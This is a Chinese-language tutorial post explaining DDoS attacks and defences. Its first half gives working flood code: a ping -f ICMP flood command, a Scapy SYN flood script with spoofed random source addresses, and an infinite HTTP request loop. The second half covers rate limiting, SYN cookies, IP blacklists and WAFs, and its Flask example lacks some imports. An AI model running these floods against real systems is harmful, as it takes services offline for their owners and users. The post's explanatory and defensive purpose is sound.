简单讲一下DDoS 攻击

什么是 DDoS 攻击？

DDoS 攻击的目标是使计算机资源不可用。攻击者使用多台计算机对目标发送大量请求，导致其超载。

历史背景

DDoS攻击并不是近年来才有的现象。从互联网的初期，就有相关的攻击记录。而随着技术的发展，攻击的手段和技巧也在不断进化。过去，一些重大的DDoS攻击事件震撼了全球，导致了巨大的经济损失和声誉损害。

DDoS 攻击的种类及其代码示例

1.流量攻击：消耗带宽。示例：使用 ping 命令进行 ICMP flood 攻击。

ping -f target_ip

2.协议攻击：利用协议缺陷。

示例：SYN flood 攻击。

from scapy.all import *

target_ip = "target_ip"

target_port = 80

ip = IP(src=RandIP(), dst=target_ip)

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

raw = Raw(b"X"*1024)

p = ip / tcp / raw

send(p, loop=1, verbose=0)

3.应用层攻击：针对特定应用。

示例：HTTP flood 攻击。

import requests

target_url = "http://target_website.com"

while True:

    response = requests.get(target_url)

数据分析：DDoS攻击的影响

图1：显示过去12个月DDoS攻击的频率。

图2：显示在DDoS攻击期间，目标网站的访问量下降幅度。

图3：DDoS攻击的来源国家或地区分布图。

如何防范？

流量监控：通过实时流量分析工具，及时发现异常流量。

图4：显示正常流量与DDoS攻击流量的对比。

限制请求：设置防火墙，限制单一IP的请求频率。

使用防DDoS服务：如 Cloudflare, Akamai 等。

更新与修补：保持系统和软件的更新，以避免已知的安全漏洞。

上一些干货好了，希望有些帮助

以下是一些常用的DDoS防御策略及相关代码示例：

限制请求速率: 对于Web应用程序，可以使用中间件或Web服务器插件来限制单个IP地址在给定时间窗口内的请求次数。例如，在Python Flask应用程序中，可以使用Flask-Limiter库：

from flask import Flask

from flask_limiter import Limiter

app = Flask(__name__)

limiter = Limiter(app, key_func=get_remote_address)

@limiter.limit("5 per minute")

@app.route('/api')

def my_api():

    return jsonify(message="This is a rate-limited API endpoint")

上述代码限制了/api端点每分钟只能被单个IP地址访问5次。

合理地设置SYN-COOKIES: 当网络受到SYN flood攻击时，启用SYN-COOKIES可以帮助防御。这通常在操作系统级别完成。例如，在Linux上，可以使用以下命令启用SYN-COOKIES:

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

使用Web应用程序防火墙 (WAF): WAF可以帮助检测和阻止恶意流量。许多WAF解决方案，如Cloudflare或AWS WAF，提供规则集，这些规则集可以自动阻止常见的DDoS攻击模式。

负载均衡: 使用负载均衡器分散流量可以帮助您抵御DDoS攻击。如果一个服务器受到攻击，流量可以被路由到其他服务器。大多数云服务提供商都提供负载均衡解决方案。

黑名单和白名单: 如果知道某些IP地址或IP范围总是发起恶意请求，可以将它们添加到黑名单中。相反，可以设置白名单，只允许已知的良好IP地址请求。

BLACKLISTED_IPS = ["192.168.1.10", "192.168.1.11"]

@app.before_request

def block_blacklisted_ips():

    if request.remote_addr in BLACKLISTED_IPS:

        abort(403)

深度包检查 (DPI): 通过检查数据包的内容，可以识别并阻止恶意流量。这通常需要专用的硬件或软件解决方案。